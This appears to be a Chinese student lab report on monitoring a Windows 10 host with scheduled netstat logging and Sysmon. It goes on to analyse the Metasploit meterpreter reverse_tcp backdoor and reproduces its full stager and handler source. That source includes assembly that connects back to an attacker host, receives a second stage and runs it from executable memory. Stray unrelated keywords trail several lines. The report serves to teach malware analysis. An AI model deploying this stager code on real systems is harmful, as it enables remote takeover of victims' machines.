(1)使用計劃任務,每隔一分鐘記錄本身的電腦有哪些程序在聯網,鏈接的外部IP是哪裏。運行一段時間並分析該文件,綜述分析結果。java
(2)安裝配置sysinternals裏的sysmon工具,設置合理的配置文件,監控本身主機的重點事可疑行爲。git
分析後門軟件github
(3)讀取、添加、刪除了哪些註冊表項chrome
(4)讀取、添加、刪除了哪些文件shell
(5)鏈接了哪些外部IP,傳輸了什麼數據windows
實驗在win10環境中進行api
設置任務計劃,計劃任務名爲20164306,每隔1分鐘運行netstat -bn,結果輸出至E盤根目錄下的20164306.txt瀏覽器
schtasks /create /TN 20164306 /sc MINUTE /MO 1 /TR "cmd /c netstat -bn > e:\20164306.txt"
光是這樣只能記錄網絡狀態,若是想同時記錄時間,須要運行多條指令,這裏經過批處理實現安全
在E盤根目錄下新建20164306.bat,用於計時,具體內容以下服務器
date /t >>e:\20164306.txt time /t >>e:\20164306.txt netstat -bn >>e:\20164306.txt
控制面板->系統與安全->管理工具->任務計劃程序,找到20164306任務
修改用戶和組,注意勾選使用最高權限運行
取消電源選項
將「程序或腳本」替換爲20164306.bat文件
查看結果以下
導入至excel畫圖分析
頻數第一是chrome瀏覽器,第二是win10的Cortanar,其它是些阿里、騰訊、微軟的東西,算是正常吧
sysmon下載地址
https://docs.microsoft.com/zh-cn/sysinternals/downloads/sysmon
配置文件mark,20164306.xml
<Sysmon schemaversion="4.00"> <!-- Capture all hashes --> <HashAlgorithms>*</HashAlgorithms> <EventFiltering> <!-- Log all drivers except if the signature --> <!-- contains Microsoft or Windows --> <DriverLoad onmatch="exclude"> <Signature condition="contains">microsoft</Signature> <Signature condition="contains">windows</Signature> </DriverLoad> <NetworkConnect onmatch="exclude"> <Image condition="end with">chrome.exe</Image> <Image condition="end with">iexplorer.exe</Image> <SourcePort condition="is">137</SourcePort> <SourceIp condition="is">127.0.0.1</SourceIp> </NetworkConnect> <CreateRemoteThread onmatch="include"> <TargetImage condition="end with">explorer.exe</TargetImage> <TargetImage condition="end with">svchost.exe</TargetImage> <TargetImage condition="end with">winlogon.exe</TargetImage> <SourceImage condition="end with">powershell.exe</SourceImage> </CreateRemoteThread> </EventFiltering> </Sysmon>
安裝Sysmon
控制面板->系統與安全->管理工具->事件查看器->應用程序和服務日誌-> Microsoft -> Windows -> sysmon -> Operational
篩選ID爲1,2,3的日誌記錄,保存爲txt文本
可在界面中直接查看相應時間,也可將導出的txt文件導入excel進行查看
能夠看到先前設置的,正在運行的,用於記錄網絡狀態的任務計劃
針對meterpreter後門程序,首先分析工做原理,然後聚焦stager源碼
在meterpreter中選擇reverse_tcp實現後門,其基本工做流程以下所示
即生成shellcode,在靶機中運行後向服務器請求鏈接,接收發送回的payload,利用Reflective Dll Injection技術在內存中直接加載payload
確保攻擊隱蔽性的關鍵技術爲:
reverse_tcp的stager生成代碼位於如下目錄
具體內容以下
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core/handler/reverse_tcp' require 'msf/core/payload/windows/reverse_tcp' module MetasploitModule CachedSize = 283 include Msf::Payload::Stager include Msf::Payload::Windows::ReverseTcp def initialize(info = {}) super(merge_info(info, 'Name' => 'Reverse TCP Stager', 'Description' => 'Connect back to the attacker', 'Author' => ['hdm', 'skape', 'sf'], 'License' => MSF_LICENSE, 'Platform' => 'win', 'Arch' => ARCH_X86, 'Handler' => Msf::Handler::ReverseTcp, 'Convention' => 'sockedi', 'Stager' => {'RequiresMidstager' => false} )) end end
其中顯示了包括大小在內的具體參數,可對照着以前實驗生成的stager驗證具體內容
跟蹤上述代碼引用的另外兩個rb文件
第一個位於目錄
具體內容及註釋以下
# -*- coding: binary -*- require 'rex/socket' require 'thread' module Msf module Handler ### # # This module implements the reverse TCP handler. This means # that it listens on a port waiting for a connection until # either one is established or it is told to abort. # # This handler depends on having a local host and port to # listen on. # ### module ReverseTcp include Msf::Handler include Msf::Handler::Reverse include Msf::Handler::Reverse::Comm # # Returns the string representation of the handler type, in this case # 'reverse_tcp'. # def self.handler_type "reverse_tcp" end # # Returns the connection-described general handler type, in this case # 'reverse'. # def self.general_handler_type "reverse" end # # Initializes the reverse TCP handler and ads the options that are required # for all reverse TCP payloads, like local host and local port. # def initialize(info = {}) super # XXX: Not supported by all modules register_advanced_options( [ OptAddress.new( 'ReverseListenerBindAddress', [ false, 'The specific IP address to bind to on the local system' ] ), OptBool.new( 'ReverseListenerThreaded', [ true, 'Handle every connection in a new thread (experimental)', false ] ) ] + Msf::Opt::stager_retry_options, Msf::Handler::ReverseTcp ) self.conn_threads = [] end # # Closes the listener socket if one was created. # def cleanup_handler stop_handler # Kill any remaining handle_connection threads that might # be hanging around conn_threads.each do |thr| begin thr.kill rescue nil end end end # A string suitable for displaying to the user # # @return [String] def human_name "reverse TCP" end # A URI describing what the payload is configured to use for transport def payload_uri addr = datastore['LHOST'] uri_host = Rex::Socket.is_ipv6?(addr) ? "[#{addr}]" : addr "tcp://#{uri_host}:#{datastore['LPORT']}" end # A URI describing where we are listening # # @param addr [String] the address that # @return [String] A URI of the form +scheme://host:port/+ def listener_uri(addr = datastore['ReverseListenerBindAddress']) addr = datastore['LHOST'] if addr.nil? || addr.empty? uri_host = Rex::Socket.is_ipv6?(addr) ? "[#{addr}]" : addr "tcp://#{uri_host}:#{bind_port}" end # # Starts monitoring for an inbound connection. # def start_handler queue = ::Queue.new local_port = bind_port handler_name = "ReverseTcpHandlerListener-#{local_port}" self.listener_thread = framework.threads.spawn(handler_name, false, queue) { |lqueue| loop do # Accept a client connection begin client = listener_sock.accept if client self.pending_connections += 1 lqueue.push(client) end rescue Errno::ENOTCONN nil rescue StandardError => e wlog [ "#{handler_name}: Exception raised during listener accept: #{e.class}", $ERROR_INFO.to_s, $ERROR_POSITION.join("\n") ].join("\n") end end } worker_name = "ReverseTcpHandlerWorker-#{local_port}" self.handler_thread = framework.threads.spawn(worker_name, false, queue) { |cqueue| loop do begin client = cqueue.pop unless client elog("#{worker_name}: Queue returned an empty result, exiting...") end # Timeout and datastore options need to be passed through to the client opts = { datastore: datastore, expiration: datastore['SessionExpirationTimeout'].to_i, comm_timeout: datastore['SessionCommunicationTimeout'].to_i, retry_total: datastore['SessionRetryTotal'].to_i, retry_wait: datastore['SessionRetryWait'].to_i } if datastore['ReverseListenerThreaded'] thread_name = "#{worker_name}-#{client.peerhost}" conn_threads << framework.threads.spawn(thread_name, false, client) do |client_copy| handle_connection(wrap_aes_socket(client_copy), opts) end else handle_connection(wrap_aes_socket(client), opts) end rescue StandardError elog("Exception raised from handle_connection: #{$ERROR_INFO.class}: #{$ERROR_INFO}\n\n#{$ERROR_POSITION.join("\n")}") end end } end def wrap_aes_socket(sock) if datastore["PAYLOAD"] !~ %r{java/} || (datastore["AESPassword"] || "") == "" return sock end socks = Rex::Socket.tcp_socket_pair socks[0].extend(Rex::Socket::Tcp) socks[1].extend(Rex::Socket::Tcp) m = OpenSSL::Digest.new('md5') m.reset key = m.digest(datastore["AESPassword"] || "") Rex::ThreadFactory.spawn('Session-AESEncrypt', false) do c1 = OpenSSL::Cipher.new('aes-128-cfb8') c1.encrypt c1.key = key sock.put([0].pack('N')) sock.put((c1.iv = c1.random_iv)) buf1 = socks[0].read(4096) while buf1 && buf1 != "" sock.put(c1.update(buf1)) buf1 = socks[0].read(4096) end sock.close end Rex::ThreadFactory.spawn('Session-AESDecrypt', false) do c2 = OpenSSL::Cipher.new('aes-128-cfb8') c2.decrypt c2.key = key iv = "" iv << sock.read(16 - iv.length) while iv.length < 16 c2.iv = iv buf2 = sock.read(4096) while buf2 && buf2 != "" socks[0].put(c2.update(buf2)) buf2 = sock.read(4096) end socks[0].close end socks[1] end # # Stops monitoring for an inbound connection. # def stop_handler # Terminate the listener thread listener_thread.kill if listener_thread && listener_thread.alive? == true # Terminate the handler thread handler_thread.kill if handler_thread && handler_thread.alive? == true begin listener_sock.close if listener_sock rescue IOError # Ignore if it's listening on a dead session dlog("IOError closing listener sock; listening on dead session?", LEV_1) end end protected attr_accessor :listener_sock # :nodoc: attr_accessor :listener_thread # :nodoc: attr_accessor :handler_thread # :nodoc: attr_accessor :conn_threads # :nodoc: end end end
第二個位於目錄
具體內容及註釋以下
# -*- coding: binary -*- require 'msf/core' require 'msf/core/payload/transport_config' require 'msf/core/payload/windows/send_uuid' require 'msf/core/payload/windows/block_api' require 'msf/core/payload/windows/exitfunk' module Msf ### # # Complex reverse_tcp payload generation for Windows ARCH_X86 # ### module Payload::Windows::ReverseTcp include Msf::Payload::TransportConfig include Msf::Payload::Windows include Msf::Payload::Windows::SendUUID include Msf::Payload::Windows::BlockApi include Msf::Payload::Windows::Exitfunk # # Register reverse tcp specific options # def initialize(*args) super register_advanced_options([ OptString.new('PayloadBindPort', [false, 'Port to bind reverse tcp socket to on target system.']) ], self.class) end # # Generate the first stage # def generate(opts={}) ds = opts[:datastore] || datastore conf = { port: ds['LPORT'], host: ds['LHOST'], retry_count: ds['ReverseConnectRetries'], bind_port: ds['PayloadBindPort'], reliable: false } # Generate the advanced stager if we have space if self.available_space && required_space <= self.available_space conf[:exitfunk] = ds['EXITFUNC'] conf[:reliable] = true end generate_reverse_tcp(conf) end # # By default, we don't want to send the UUID, but we'll send # for certain payloads if requested. # def include_send_uuid false end def transport_config(opts={}) transport_config_reverse_tcp(opts) end # # Generate and compile the stager # def generate_reverse_tcp(opts={}) combined_asm = %Q^ cld ; Clear the direction flag. call start ; Call start, this pushes the address of 'api_call' onto the stack. #{asm_block_api} start: pop ebp #{asm_reverse_tcp(opts)} #{asm_block_recv(opts)} ^ Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string end # # Determine the maximum amount of space required for the features requested # def required_space # Start with our cached default generated size space = cached_size # EXITFUNK 'thread' is the biggest by far, adds 29 bytes. space += 29 # Reliability adds some bytes! space += 44 space += uuid_required_size if include_send_uuid # The final estimated size space end # # Generate an assembly stub with the configured feature set and options. # # @option opts [Integer] :port The port to connect to # @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh # @option opts [Integer] :retry_count Number of retry attempts # def asm_reverse_tcp(opts={}) retry_count = [opts[:retry_count].to_i, 1].max encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first encoded_host = "0x%.8x" % Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first addr_fam = 2 sockaddr_size = 16 asm = %Q^ ; Input: EBP must be the address of 'api_call'. ; Output: EDI will be the socket for the connection to the server ; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0) reverse_tcp: push '32' ; Push the bytes 'ws2_32',0,0 onto the stack. push 'ws2_' ; ... push esp ; Push a pointer to the "ws2_32" string on the stack. push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} mov eax, ebp call eax ; LoadLibraryA( "ws2_32" ) mov eax, 0x0190 ; EAX = sizeof( struct WSAData ) sub esp, eax ; alloc some space for the WSAData structure push esp ; push a pointer to this stuct push eax ; push the wVersionRequested parameter push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')} call ebp ; WSAStartup( 0x0190, &WSAData ); set_address: push #{retry_count} ; retry counter create_socket: push #{encoded_host} ; host in little-endian format push #{encoded_port} ; family AF_INET and port number mov esi, esp ; save pointer to sockaddr struct push eax ; if we succeed, eax will be zero, push zero for the flags param. push eax ; push null for reserved parameter push eax ; we do not specify a WSAPROTOCOL_INFO structure push eax ; we do not specify a protocol inc eax ; push eax ; push SOCK_STREAM inc eax ; push eax ; push AF_INET push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')} call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 ); xchg edi, eax ; save the socket for later, don't care about the value of eax after this ^ # Check if a bind port was specified if opts[:bind_port] bind_port = opts[:bind_port] encoded_bind_port = "0x%.8x" % [bind_port.to_i,2].pack("vn").unpack("N").first asm << %Q^ xor eax, eax push 11 pop ecx push_0_loop: push eax ; if we succeed, eax will be zero, push it enough times ; to cater for both IPv4 and IPv6 loop push_0_loop ; bind to 0.0.0.0/[::], pushed above push #{encoded_bind_port} ; family AF_INET and port number mov esi, esp ; save a pointer to sockaddr_in struct push #{sockaddr_size} ; length of the sockaddr_in struct (we only set the first 8 bytes, the rest aren't used) push esi ; pointer to the sockaddr_in struct push edi ; socket push #{Rex::Text.block_api_hash('ws2_32.dll', 'bind')} call ebp ; bind( s, &sockaddr_in, 16 ); push #{encoded_host} ; host in little-endian format push #{encoded_port} ; family AF_INET and port number mov esi, esp ^ end asm << %Q^ try_connect: push 16 ; length of the sockaddr struct push esi ; pointer to the sockaddr struct push edi ; the socket push #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')} call ebp ; connect( s, &sockaddr, 16 ); test eax,eax ; non-zero means a failure jz connected handle_connect_failure: ; decrement our attempt count and try again dec dword [esi+8] jnz try_connect ^ if opts[:exitfunk] asm << %Q^ failure: call exitfunk ^ else asm << %Q^ failure: push 0x56A2B5F0 ; hardcoded to exitprocess for size call ebp ^ end asm << %Q^ ; this lable is required so that reconnect attempts include ; the UUID stuff if required. connected: ^ asm << asm_send_uuid if include_send_uuid asm end # # Generate an assembly stub with the configured feature set and options. # # @option opts [Bool] :reliable Whether or not to enable error handling code # def asm_block_recv(opts={}) reliable = opts[:reliable] asm = %Q^ recv: ; Receive the size of the incoming second stage... push 0 ; flags push 4 ; length = sizeof( DWORD ); push esi ; the 4 byte buffer on the stack to hold the second stage length push edi ; the saved socket push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')} call ebp ; recv( s, &dwLength, 4, 0 ); ^ if reliable asm << %Q^ ; reliability: check to see if the recv worked, and reconnect ; if it fails cmp eax, 0 jle cleanup_socket ^ end asm << %Q^ ; Alloc a RWX buffer for the second stage mov esi, [esi] ; dereference the pointer to the second stage length push 0x40 ; PAGE_EXECUTE_READWRITE push 0x1000 ; MEM_COMMIT push esi ; push the newly recieved second stage length. push 0 ; NULL as we dont care where the allocation is. push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); ; Receive the second stage and execute it... xchg ebx, eax ; ebx = our new memory address for the new stage push ebx ; push the address of the new stage so we can return into it read_more: push 0 ; flags push esi ; length push ebx ; the current address into our second stage's RWX buffer push edi ; the saved socket push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')} call ebp ; recv( s, buffer, length, 0 ); ^ if reliable asm << %Q^ ; reliability: check to see if the recv worked, and reconnect ; if it fails cmp eax, 0 jge read_successful ; something failed, free up memory pop eax ; get the address of the payload push 0x4000 ; dwFreeType (MEM_DECOMMIT) push 0 ; dwSize push eax ; lpAddress push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')} call ebp ; VirtualFree(payload, 0, MEM_DECOMMIT) cleanup_socket: ; clear up the socket push edi ; socket handle push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')} call ebp ; closesocket(socket) ; restore the stack back to the connection retry count pop esi pop esi dec [esp] ; decrement the counter ; try again jnz create_socket jmp failure ^ end asm << %Q^ read_successful: add ebx, eax ; buffer += bytes_received sub esi, eax ; length -= bytes_received, will set flags jnz read_more ; continue if we have more to read ret ; return into the second stage ^ if opts[:exitfunk] asm << asm_exitfunk(opts) end asm end end end
端口監聽、網絡鏈接——任務計劃運行bat記錄net state
文件訪問記錄——Sysmon
可經過逆向、反彙編、抓包等方法獲得它的版本信息、代碼內容、通訊方式進而從目標、手段、觸發條件等角度分析其惡意行爲
具體工具包括但不限於IDEA,shell,wireshark
經過實驗學習了系統監視的通常方法,掌握了惡意代碼的分析流程
該實驗對防禦惡意軟件與設計惡意軟件進行攻擊都具備重要的啓發意義,作完後受益不淺